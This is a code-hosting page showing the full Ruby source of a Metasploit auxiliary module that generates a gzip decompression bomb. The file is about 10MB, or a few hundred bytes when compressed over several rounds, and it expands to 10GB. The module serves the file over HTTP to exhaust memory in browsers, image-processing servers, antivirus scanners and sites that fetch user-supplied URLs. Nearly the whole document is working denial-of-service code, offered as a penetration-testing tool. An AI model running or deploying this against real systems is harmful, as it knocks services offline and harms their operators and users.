Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/gzip_bomb_dos.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'6require 'stringio'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::HttpServer::HTML1011def initialize(info = {})12super(update_info(info,13'Name' => 'Gzip Memory Bomb Denial Of Service',14'Description' => %q{15This module generates and hosts a 10MB single-round gzip file that decompresses to 10GB.16Many applications will not implement a length limit check and will eat up all memory and17eventually die. This can also be used to kill systems that download/parse content from18a user-provided URL (image-processing servers, AV, websites that accept zipped POST data, etc).1920A FILEPATH datastore option can also be provided to save the .gz bomb locally.2122Some clients (Firefox) will allow for multiple rounds of gzip. Most gzip utils will correctly23deflate multiple rounds of gzip on a file. Setting ROUNDS=3 and SIZE=10240 (default value)24will generate a 300 byte gzipped file that expands to 10GB.25},26'Author' =>27[28'info[at]aerasec.de', # 2004 gzip bomb advisory29'joev' # Metasploit module30],31'License' => MSF_LICENSE,32'References' =>33[34[ 'URL', 'http://www.aerasec.de/security/advisories/decompression-bomb-vulnerability.html' ]35],36'DisclosureDate' => '2004-01-01',37'Actions' =>38[39[ 'WebServer', 'Description' => 'Host file via web server' ]40],41'PassiveActions' =>42[43'WebServer'44],45'DefaultAction' => 'WebServer'))4647register_options(48[49OptInt.new('SIZE', [true, 'Size of uncompressed data in megabytes (10GB default).', 10240]),50OptInt.new('ROUNDS', [true, 'Rounds of gzip compression. Some applications (FF) support > 1.', 1]),51OptString.new('URIPATH', [false, 'Path of URI on server to the gzip bomb (default is random)']),52OptString.new('CONTENT_TYPE', [false, 'Content-Type header to serve in the response', 'text/html'])53],54self.class)55end5657def run58datastore['HTTP::compression'] = false # not a good idea59@gzip = generate_gzip60print_status "Gzip generated. Uncompressed=#{default_size}bytes. Compressed=#{@gzip.length}bytes."61exploit # start http server62end6364def on_request_uri(cli, request)65print_status "Sending gzipped payload to client #{cli.peerhost}"66rounds = (['gzip']*datastore['ROUNDS']).join(', ')67send_response(cli, @gzip, { 'Content-Encoding' => rounds, 'Content-Type' => datastore['CONTENT_TYPE'] })68end6970# zlib ftw71def generate_gzip(size=default_size, blocks=nil, reps=nil)72reps ||= datastore['ROUNDS']73return blocks if reps < 17475print_status "Generating gzip bomb..."76StringIO.open do |io|77stream = Zlib::GzipWriter.new(io, Zlib::BEST_COMPRESSION, Zlib::DEFAULT_STRATEGY)78buf = nil79begin80# add MB of data to the stream. this takes a little while, but doesn't kill memory.81if blocks.nil?82chunklen = 1024*1024*8 # 8mb per chunk83a = "A"*chunklen84n = size / chunklen8586n.times do |i|87stream << a88if i % 100 == 089print_status "#{i.to_s.rjust(Math.log(n,10).ceil)}/#{n} chunks added (#{'%.1f' % (i.to_f/n.to_f*100)}%)"90end91end92else93stream << blocks94end9596a = nil # gc a97buf = generate_gzip(size, io.string, reps-1)98ensure99stream.flush100stream.close101end102buf103end104end105106def default_size107datastore['SIZE']*1024*1024 # mb -> bytes108end109end110111112